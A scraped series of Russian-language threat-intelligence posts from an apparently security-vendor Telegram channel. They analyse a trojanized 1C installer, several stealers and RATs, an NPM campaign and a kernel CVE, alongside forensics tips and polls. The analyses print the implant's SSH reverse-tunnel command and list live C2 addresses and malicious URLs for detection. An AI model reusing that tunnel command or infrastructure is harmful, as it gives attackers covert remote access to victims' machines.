Прием, прием, нас слышно? 😲
Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.
В архиве с громким названием
🎇 Не будем вестись на яркие картинки и копнем глубже. При помощи sfextract потрошим .NET-установщик. Среди распакованных файлов находим
Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.
В методе InitManifest расшифровывают ресурс
📏 10 исполняемых файлов
📏 6 скриптов
📏 7 файлов ресурсов и конфигов
Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:
📏 Создают нового юзера с кредами:
📏 Копируют все файлы в папку
📏 Запускают SSHD и ssh-agent, настроив публичный и приватный ключ
📏 Запускают ntrights с параметрами
📏 Запускают таинственный файл
❔ На последнем пункте остановимся поподробнее, так как shh-tunnel.exe не является частью стандартного SSH. Этот экзешник написан на Go и представляет собой инструмент для установки туннеля, названный нами
В случае когда
😌 🐱 🐱
Сам Go2Tunnel после создания туннеля только спити ест и проверяет, работает ли сервер, при помощи команды ps1:
Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.
🎇 IoCs:
#TI #phishing #ioc
@ptescalator
Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.
В архиве с громким названием
1С_модуль_заказа_дрон-v11.zip
лежит файлик СВЯЗЬ РЭБ список Гум.exe
со знакомым всем желтым значком «1С». При запуске файла пользователь видит стандартное окно загрузки «1C:Enterprise 8.3» с последующим открытием базы данных (скриншот 1). 1C_Module.dll
с подозрительно объемными ресурсами. Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.
В методе InitManifest расшифровывают ресурс
_1C_Module.tmp
и сохраняют его в папке temp. Расшифровываемый файл оказывается Go-дроппером, который расшифровывает 2️⃣3️⃣ файла. Среди них:Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:
$sshUserName = "config"
$sshUserPass = "[REDACTED]"
C:\Program Files\System Event Service
-u "NT SERVICE\SSHD" +r SeAssignPrimaryTokenPrivilege
shh-tunnel.exe
или же впоследствии переименование — syseventservice-update.exe
Go2Tunnel
. Он вытаскивает из рядом лежащего конфига ssh_tunnel_config
(или syseventservice-update_config
) порты для создания туннеля:
C:\\Program Files\\System Event Service\\ssh.exe -R <ServerTunnelPort> :127.0.0.1:22 -N -T -i \"C:\\Program Files\\System Event Service\\event-server\" -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -o ServerAliveInterval=45 -p<ServerSshPort> <ServerUserLogin>@<serverHostname>
В случае когда
serverTunnelPort
не указан, выполняется POST-запрос по следующему адресу:
http://<serverHostname>:<ServerWebPort>/tunnel/register
Сам Go2Tunnel после создания туннеля только спит
-Command "Get-NetTCPConnection -RemoteAddress <serverHostname> -RemotePort <ServerSshPort> -State Established -OwningProcess <sshProcess_Pid>"
Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.
15b3dcd795d417c69a627e13382800cc0cf005e9f5d0345e22a02f460b052ea1
2de2c9ab37ce5abfcd7e9018b1cb00066209b0b9ecdf70249148f53389dca5b1
5faa4da85e2657682fd40f5a86d61e87a3e70c3dff81335f226437c755a89f4a
6aa1fc0c2b7a01952b92e7af4f69fc602d34da95a872c57e7cfe34e918086c89
957a9705b200cd0f059d62d7b21e97db260b9b6c0c5ddf20c38d236103cb799b
fac77b7f1150c00dd5ca9da0f93e2f073a7eb70e2f4fd82a267afbc938a6e175
16.16.179.83
5.252.22.10
#TI #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Через что злодеи закрепляются у вас на винде? 😈
Anonymous Poll
7%
HKLM\SYSTEM\CurrentControlSet\Services 👀
4%
%SystemRoot%\SYSVOL\domain\Policies\{GUID}\User\Scripts\Logon 👋
4%
Прищепка ☹️
10%
Windows\System32\Tasks 👨💻
9%
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 🛫
6%
Скотч 🫠
1%
\\.\root\subscription ✔️
5%
%SystemRoot%\System32\GroupPolicy\Machine\Scripts\Startup 😎
14%
Software\Microsoft\Windows\CurrentVersion\Run 🏃♂️
40%
Трудовой договор 😏
Not a Pwn2Own bug 🙂
CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр
Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию
Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка
На третьем скриншоте — часть функции
🩹 О патче
Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на
К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.
#cve #escvr
@ptescalator
CVE-2024-43641: ошибка типа CWE-190 позволяла переполнить счетчик ссылок на экземпляр
_CM_KEY_SECURITY
. Уязвимый код располагался в ntoskrnl.exe
— в функции CmpSetSecurityDescriptorInfo (скриншот 1).Для того чтобы достигнуть уязвимого кода, необходимо открыть или создать ключ реестра в режиме транзакций. Сделать это можно через функцию
RegCreateKeyTransacted
. Так как нет ограничения на количество операций, которые могут быть записаны в рамках одной транзакции, мы можем последовательно вызывать функцию NtSetSecurityObject
. И каждый такой вызов будет увеличивать счетчик ссылок на 1. Для того чтобы уязвимость «сдетонировала», необходимо прокрутить значение счетчика ссылок так, чтобы его значение стало меньше реального количества операций, записанных в рамках транзакции. Если это условие будет соблюдено, то после транзакции ячейка
_CM_KEY_SECURITY
будет освобождена раньше, чем закончатся операции, которые нужно завершить, что приведет к использованию освободившейся памяти (скриншот 2).На третьем скриншоте — часть функции
CmpDereferenceSecurityNode
, отвечающая за уменьшение числа ссылок и освобождение _CM_KEY_SECURITY
.Патч переработал то, как подсистема Cоnfiguration Manager (СM) работает со ссылками на
_CM_KEY_SECURITY
, добавив как минимум две новые функции — CmpKeySecurityDecrementReferenceCount
и CmpKeySecurityIncrementReferenceCount
, которые теперь будут выдавать bugcheck, если количество ссылок станет равным нулю или после инкремента их будет меньше, чем до (скриншот 4).К счастью, вряд ли уязвимость можно отнести к эксплуатабельным, так как, чтобы переполнить счетчик ссылок, последовательно увеличивая его на 1, потребуется очень много времени, да и окно, в рамках которого у нас есть возможность «подсунуть» что-то, слишком маленькое и неконтролируемое.
#cve #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Через блокчейн к данным ⭐️
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum😦
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
•
•
Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был😈 , остальные представляют собой VPS-серверы.
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
Эта строка проливает свет на возможные цели злоумышленника☕️
IoCs:
#ti #npm #pyanalysis #scs
@ptescalator
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
console.error("Ошибка при получении IP адреса:", err)
;•
console.error("Ошибка при запуске файла:", _0x88fda8)
;•
console.error("Ошибка установки:", _0x14ce94)
;Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
node-win.exe
, node-linux
, node-macos
. Ниже мы будем называть их агентами.Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был
http://localhost:3001
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}
Эта строка проливает свет на возможные цели злоумышленника
IoCs:
http://194.53.54.188:3001
http://193.233.201.21:3001
http://45.125.67.172:1337
http://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172
#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Да что не так с этим AES? ❔
Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.
На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.
👾 Grandoreiro — бразильский банковский троян, который активен с 2016 года по сегодняшний день. Он доставляется в систему с помощью загрузчика, который получает ссылку на скачивание полезной нагрузки от С2-сервера.
Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.
🧐 При анализе недавних образцов Grandoreiro была замечена новая для этого семейства техника шифрования, которая применяется для усложнения анализа, — Ciphertext Stealing (CTS). Это режим шифрования, который используется, когда открытый текст не кратен размеру блока.
Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).
Что именно происходит:
1️⃣ Шифруется последний полный блок.
2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.
Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.
Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:
Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.
Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».
#TI #tip #malware
@ptescalator
Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.
На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.
Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.
Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).
Что именно происходит:
1️⃣ Шифруется последний полный блок.
2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.
Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.
Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:
cipher = AES.new(aes_key, AES.MODE_ECB)
encr = b"\x00"*16
initial_key = cipher.encrypt(encr) # your value here
block_size = 16
total_blocks = len(ciphered_data) // block_size
decrypted_data = bytearray()
previous_block = initial_key
if total_blocks:
# Decrypt all complete blocks
for i in range(total_blocks):
current_block = ciphered_data[i * block_size:(i + 1) * block_size]
key = previous_block
decr_block = cipher.decrypt(current_block)
decrypted_data.extend(bytes(x ^ y for x, y in zip(decr_block, key)))
previous_block = current_block
# Handle the last block with ciphertext stealing
if len(ciphered_data) % block_size > 0:
last_full_block = previous_block
if total_blocks:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data) - (i + 1) * block_size] #take as much bytes off of the last full block (encrypted) as remained yet to decrypt (ciphertext)
partial_block = ciphered_data[(i + 1) * block_size:len(ciphered_data)] #bytes left to decrypt, not a multiple of the block size
else:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data)]
partial_block = ciphered_data[:len(ciphered_data)]
stolen_block = bytes(x ^ y for x, y in zip(partial_block, last_full_block))
decrypted_data.extend(stolen_block)
Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.
Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».
#TI #tip #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
📑 TaxOff: кажется, у вас… бэкдор
В третьем квартале специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) обнаружили серию атак, направленных на государственные структуры России. Связей с уже известными группами, использующими такие же техники, нам установить не удалось.
😐 Основными целями киберпреступников были шпионаж и закрепление в системе для развития последующих атак. Эту группировку мы назвали TaxOff из-за использования писем на правовые и финансовые темы в качестве приманок. В своих атаках злоумышленники применяли написанный минимум на C++17 бэкдор, который мы назвали Trinper из-за артефакта, используемого при соединении с C2-сервером.
📩 Начальный вектор заражения — фишинговые письма. Мы обнаружили несколько таких: в одном была ссылка на Яндекс Диск с вредоносным содержимым, связанным с «1С», в другом — фальшивый установщик ПО для заполнения справок о доходах и расходах, которые госслужащим необходимо подавать каждый год. И ежегодно это ПО обновляется и становится целью злоумышленников, распространяющих вредоносы под видом обновлений.
Trinper — написанный на C++ многопоточный бэкдор с гибкой конфигурацией, в котором используются шаблонный метод в качестве паттерна проектирования, контейнеры STL, буферный кэш для повышения производительности.
🧐 Подробный анализ бэкдора и действий группировки TaxOff, а также индикаторы компрометации вы можете найти в отчете.
#TI #APT #IOC #Reverse
@ptescalator
В третьем квартале специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) обнаружили серию атак, направленных на государственные структуры России. Связей с уже известными группами, использующими такие же техники, нам установить не удалось.
Trinper — написанный на C++ многопоточный бэкдор с гибкой конфигурацией, в котором используются шаблонный метод в качестве паттерна проектирования, контейнеры STL, буферный кэш для повышения производительности.
🧐 Подробный анализ бэкдора и действий группировки TaxOff, а также индикаторы компрометации вы можете найти в отчете.
#TI #APT #IOC #Reverse
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Нас — много. И еще годных каналов немало! 😃
Мы собрали в одной папке паблики знакомых коллег по цеху — рекомендуем к изучению.
Опрос — на следующей неделе 😏
@ptescalator
Мы собрали в одной папке паблики знакомых коллег по цеху — рекомендуем к изучению.
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Опять стилер на Python?! 🫣
С начала сентября мы фиксируем атаки, которые на первый взгляд можно отнести к активности группировки Lazy Koala. В качестве C2-сервера для эксфильтрации скомпрометированных данных используется телеграм-бот, а названия приманок похожи на названия тех файлов, которые Lazy Koala применяла в атаках:
Но при дальнейшем изучении кода стилера, который мы назвали MarkerStealer (из-за артефакта
👾 Сам же MarkerStealer имеет стандартную для всех стилеров функциональность: позволяет получать учетные данные и куки из браузеров и проводить их эксфильтрацию на C2-сервер.
Единственное, что выделяет его на фоне других, — создание так называемого маркера по пути
IoCs:
#TI #Malware
@ptescalator
С начала сентября мы фиксируем атаки, которые на первый взгляд можно отнести к активности группировки Lazy Koala. В качестве C2-сервера для эксфильтрации скомпрометированных данных используется телеграм-бот, а названия приманок похожи на названия тех файлов, которые Lazy Koala применяла в атаках:
Исковое_заявление_о_взыскании_убытков_и_морального_вреда_в_связи_с_нарушением_условий_договора_№1234_от_28_августа_2024_года_и_неудовлетворением_претензии.exe
Претензия_о_нарушении_договорных_обязательств_и_требование_возмещения_ущерба_по_договору_№1234_от_28_августа_2024_года.exe
Но при дальнейшем изучении кода стилера, который мы назвали MarkerStealer (из-за артефакта
script_executed.marker
), а также телеграм-ботов связи с группировкой установить не удалось.👾 Сам же MarkerStealer имеет стандартную для всех стилеров функциональность: позволяет получать учетные данные и куки из браузеров и проводить их эксфильтрацию на C2-сервер.
Единственное, что выделяет его на фоне других, — создание так называемого маркера по пути
%TEMP%\script_executed.marker
, сигнализирующего о том, что стилер уже отработал. У маркера есть время жизни: если при повторном запуске MarkerStealer время создания %TEMP%\script_executed.marker
превышает сутки, тогда вредонос по новой собирает учетные записи и куки из браузеров.IoCs:
1b9f8a0edfedb141753d080f6200573f75d275d0d5b62bba6008e1a0424a1846
3e32ab015ad7a1c35faf649dd0dfd50084918e0ffde65c5911409a659e049022
7b8f901160f567e8fe1294dcc5477da08f1bb133935a679ac5f704df2ab2862b
37e17898d9e6e4950fe9639cbb5f4102df6cfb7b3e236120b036a0d2c5362815
7572f826e9ccde9183537afb6146c844fea177bc3b6053e27f35190d0a71f507
12458b8e63d084d161dc24b3a3d46967c9bc1ad9613deb26d76f378a34869301
400269ef55144512f0ceb74854c7d913f6aa4650de8ecf096487727895f8bc80
274784844d3c112127b7a5e7d8b60d2f256aad4c56c6e07ba681186764d63396
cd10cc5a6c69d8cffedcb80e79985c9762ab0f0853298981ce13991d51642b40
e4a6e228e88504bc622a50fdeb3f2c264466a6bc7283136675cc4f2c6aa11ca6
2ecdd29bd72d001186ca2c9946e7e8e16da84c45678d66abfde8d940cf78df09
#TI #Malware
@ptescalator
PrevedMedved 👋 — это снова Lumma Stealer
В середине ноября группа киберразведки PT ESC зафиксировала кампанию по распространению вредоносного программного обеспечения Lumma Stealer и NetSupport RAT. В качестве источника заражения использовался GitHub-репозиторий, доступный по адресу
Вредоносный контент находился в разделе tag, в то время как основная ветка репозитория была удалена. Учетная запись GitHub, используемая для размещения материалов, зарегистрирована под именем
🧤 В ходе анализа репозитория было замечено, что размещенные приманки и вредоносные файлы регулярно заменяются новыми (скриншот 5). Средняя частота обновления составляет около одной недели. Злоумышленники делают упор на использование фишинговых файлов-ловушек, мимикрирующих под документы различных организаций.
Первым к нам в руки попал LNK-файл
🫡 В процессе изучения атаки выявлены и другие схемы, где вместо фишингового документа рассылался, например, файл, замаскированный под повестку в военкомат (скриншот 2). LNK-файл
Примечательно, что автором всех документов-приманок в метаданных указана Галлямова Римма Абдулнуровна. Это может быть попыткой отвлечь внимание или дополнительной частью фишинговой стратегии.
Согласно данным VirusTotal, семплы Lumma Stealer определяются как вредоносные лишь тремя антивирусными решениями. Этот факт свидетельствует о высоком уровне обфускации и уникальности вредоносного ПО — большинству систем защиты трудно его обнаружить.
Атаки проводились на протяжении всего ноября. Злоумышленники активно обновляют свои инструменты, в том числе вредоносные файлы и приманки, а мы продолжаем мониторинг. Подобная схема распространения ВПО уже была описана ранее, но не затрагивала пользователей из стран СНГ.
IoCs:
#TI #Phishing #Malware #IOC
@ptescalator
В середине ноября группа киберразведки PT ESC зафиксировала кампанию по распространению вредоносного программного обеспечения Lumma Stealer и NetSupport RAT. В качестве источника заражения использовался GitHub-репозиторий, доступный по адресу
github.com/NonaDoc/Nonadoc/releases/tag/defi_prive
. Вредоносный контент находился в разделе tag, в то время как основная ветка репозитория была удалена. Учетная запись GitHub, используемая для размещения материалов, зарегистрирована под именем
prevedmedved6724993
и связана с почтовым адресом [email protected]
.Первым к нам в руки попал LNK-файл
Anketa_energosale.docx.lnk
(скриншот 1), хранящийся на сайте energosale34.download
. После запуска файл устанавливает Lumma Stealer из вышеупомянутого GitHub-репозитория и NetSupport RAT с С2-сервера злоумышленника для закрепления на устройстве жертвы. Фишинговый документ Anketa_energosale.docx
(скриншот 3), якобы связанный с организацией «Волгоградэнергосбыт», был доступен для загрузки из того же репозитория.povestka_378478112.pdf.lnk
хранился на узле 80.78.27.201
, а сопутствующие файлы, включая вредоносное ПО и приманки, также размещались в GitHub-репозитории.Примечательно, что автором всех документов-приманок в метаданных указана Галлямова Римма Абдулнуровна. Это может быть попыткой отвлечь внимание или дополнительной частью фишинговой стратегии.
Согласно данным VirusTotal, семплы Lumma Stealer определяются как вредоносные лишь тремя антивирусными решениями. Этот факт свидетельствует о высоком уровне обфускации и уникальности вредоносного ПО — большинству систем защиты трудно его обнаружить.
Атаки проводились на протяжении всего ноября. Злоумышленники активно обновляют свои инструменты, в том числе вредоносные файлы и приманки, а мы продолжаем мониторинг. Подобная схема распространения ВПО уже была описана ранее, но не затрагивала пользователей из стран СНГ.
IoCs:
LNK-файл:
90301696accc600a3fc2a1419d0c73566a19f42424d2da6e6f215a83ba3895e6
68d0373fc7fcd74d7379f8175a894194ac285f98810359a7f48978ef15f5283e
96bd372f8a4e39e0e6e629994a2b284432c9e5a0a48e1f46100a0a6b0ce349bd
989dd914ccbd2df2a36f0500d0bdac9e286cdf39d53ab72d18f11bc726a692e8
Lumma Stealer:
26be491b59e98932bf12985cd6a24d5a0be33ee92767b19b41fe2917deb96f79
8762d87be2998ca50229e9b51a2a7700bbb1fd75b99864d05b4d630a5e091014
b0d738f7003d5bb5d7c5d0dc9441e45367fad635cbf505f129df48f8155e38a2
61e985cf63a414c5db76d1f57d9801e6d7dba106e8a8dc73ad29b53044c3c68f
NetSupport RAT:
860393e31788499f8774be83c65bcf29658cc77bf96ee2f4c86b065aedbf77de
176f7e61d26c33df91425f063c6494d6cd63f4de2654de3d72158a272bb03ae5
Файлы:
Anketa_energosale.docx.lnk
povestka_378478112.pdf.lnk
Anketa_energosale.docx.lnk
520a7afb8367e14661b412c65b9a805d.virus
Anketa_energosale[1]
poqexec.exe
Povestka_34.png
Anketa1
anketa_miner[1]
Домены:
energosale34.download
yiars.com
thisbusylife.com
abxweb.com
pdfbypari.com
kokachi.com
kokachi334.com
URL:
https://github.com/NonaDoc/Nonadoc/releases/tag/defi_prive
IP-адреса:
94.232.43.219
80.78.27.201
80.78.24.5
Метаданные:
dc:creator: «Галлямова Римма Абдулнуровна»
Эл. почта:
[email protected]
#TI #Phishing #Malware #IOC
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Делать опрос, который мы обещали на прошлой неделе, в день лентяя
Anonymous Poll
19%
Лень
42%
Мне лень отвечать
38%
🦥
Mount Point — pt.1 🙂
Любое расследование — это анализ артефактов операционной системы. А чтобы их получить, зачастую приходится работать с образами виртуальных машин, типа
В большинстве случаев монтирование, а потом и исследование подобных данных не представляет сложностей. Но если образ по каким-то причинам не обрабатывается популярными утилитами (FTK Imager, Arsenal Image Mounter), имеет особенности конфигурации или если вам необходимо провести какие-либо специфические процедуры, монтирование образа в виртуальную среду может оказаться непростым.
В этом и нескольких будущих постах мы дадим небольшие гайды по разрешению типовых ситуаций. Stay connected!
Case 1. Монтирование отдельных разделов из образа (все действия легко осуществимы в любом стандартном дистрибутиве ОС Linux и подсистеме WSL, если каких-то пакетов на системе нет, они без проблем устанавливаются стандартными средствами).
🐾 Шаг 1. Преобразуем имеющийся образ в формат RAW. Это наиболее универсальный формат, не содержащий никаких дополнительных данных, не имеющий сжатий и максимально поддерживаемый любыми утилитами. Образ может представлять собой один файл или несколько (например, если разные каталоги Linux разнесены на несколько виртуальных дисков). Рекомендуем использовать утилиту qemu-img:
Это наиболее универсальный способ, поддерживающий большинство форматов виртуальных дисков (
🐾 Шаг 2. Изучаем параметры полученного образа:
И видим подобную запись:
По идентификатору раздела (их можно посмотреть здесь) определяем нужный (в примере —
🐾 Шаг 3. Монтируем:
💡 Полезные заметки:
1. Для команды mount используйте опцию
2. При работе с образами Windows используйте опцию
Все! В каталоге точки монтирования видим содержимое интересующего нас раздела.
В следующем посте рассмотрим монтирование LVM-дисков и поделимся полезным скриптом. Stay tuned!
#tip #dfir
@ptescalator
Любое расследование — это анализ артефактов операционной системы. А чтобы их получить, зачастую приходится работать с образами виртуальных машин, типа
VMDK
, VDI
, qcow
и других. В большинстве случаев монтирование, а потом и исследование подобных данных не представляет сложностей. Но если образ по каким-то причинам не обрабатывается популярными утилитами (FTK Imager, Arsenal Image Mounter), имеет особенности конфигурации или если вам необходимо провести какие-либо специфические процедуры, монтирование образа в виртуальную среду может оказаться непростым.
В этом и нескольких будущих постах мы дадим небольшие гайды по разрешению типовых ситуаций. Stay connected!
Case 1. Монтирование отдельных разделов из образа (все действия легко осуществимы в любом стандартном дистрибутиве ОС Linux и подсистеме WSL, если каких-то пакетов на системе нет, они без проблем устанавливаются стандартными средствами).
🐾 Шаг 1. Преобразуем имеющийся образ в формат RAW. Это наиболее универсальный формат, не содержащий никаких дополнительных данных, не имеющий сжатий и максимально поддерживаемый любыми утилитами. Образ может представлять собой один файл или несколько (например, если разные каталоги Linux разнесены на несколько виртуальных дисков). Рекомендуем использовать утилиту qemu-img:
qemu-img convert -f #Исходный формат -O #Целевой формат #Файл-источник #Файл-получатель
Это наиболее универсальный способ, поддерживающий большинство форматов виртуальных дисков (
VMDK
, VDI
, qcow
и другие), а также позволяющий собрать образ из нескольких файлов. Кроме того, можно использовать вендорские утилиты, входящие в стандартные дистрибутивы, например:VirtualBox: VBoxManage.exe internalcommands converttoraw
VMware: vmware-vdiskmanager -r ./source-image.vmdk -t 2 ./destination-image.raw
🐾 Шаг 2. Изучаем параметры полученного образа:
fdisk -l ./#путь к файлу
И видим подобную запись:
Sector size (logical/physical): 512 bytes / 512 bytes
./vm-disk-0.raw1 : start= 2048, size= 207618048, type=83
./vm-disk-0.raw2 : start= 207620096, size= 2095104, type=82
По идентификатору раздела (их можно посмотреть здесь) определяем нужный (в примере —
Type 83 Linux Partition
) и считаем параметры смещения и размер диска:512 (размер сектора) × 2048 (номер первого сектора) = 1 048 576 (смещение в байтах)
512 (размер сектора) × 207 618 048 (количество секторов) = 106 300 440 576 (размер раздела в байтах)
🐾 Шаг 3. Монтируем:
mount -o ro,loop,offset=1048576,sizelimit=106300440576 source /mountpoint
1. Для команды mount используйте опцию
ro
(read-only
), чтобы случайно ничего не изменить в исследуемом образе.2. При работе с образами Windows используйте опцию
show_sys_files
для отображения скрытых системных файлов ($MFT
, $LogFile
, $J
и т. п.) и streams_interface=windows
— для поддержки работы с альтернативными потоками. Все! В каталоге точки монтирования видим содержимое интересующего нас раздела.
В следующем посте рассмотрим монтирование LVM-дисков и поделимся полезным скриптом. Stay tuned!
#tip #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Время корпоративов — время поговорить о напитках. Какой больше всего близок к цифровому миру? 🍸
ЧРЕЗМЕРНОЕ УПОТРЕБЛЕНИЕ АЛКОГОЛЯ И МАЛВАРИ ВРЕДЯТ ВАШЕМУ ЗДОРОВЬЮ
ЧРЕЗМЕРНОЕ УПОТРЕБЛЕНИЕ АЛКОГОЛЯ И МАЛВАРИ ВРЕДЯТ ВАШЕМУ ЗДОРОВЬЮ
Anonymous Poll
25%
Кофе — бодрит, как быстрая оперативка с крутым процессором ☕️
9%
Энергетик — взрыв энергии, как сервер в пиковой нагрузке 🔋
4%
Текила — яркий удар, словно внезапный баг в коде 🧂
12%
Виски — стабильный, как системы, проверенные временем 🥃
6%
Водка — прозрачная и универсальная, как идеальный API 🪟
2%
Мохито — свежий, как новый, интуитивный интерфейс 😆
5%
Ром — насыщенный, как данные из глубокой аналитики 🫠
12%
Пиво — легкое, но затягивает, как социальные сети 🍺🍺
4%
Шампанское — яркое, как запуск нового стартапа 🍾
20%
Омывайка — доступна, как пиратский софт, но есть нюансы 🏴☠️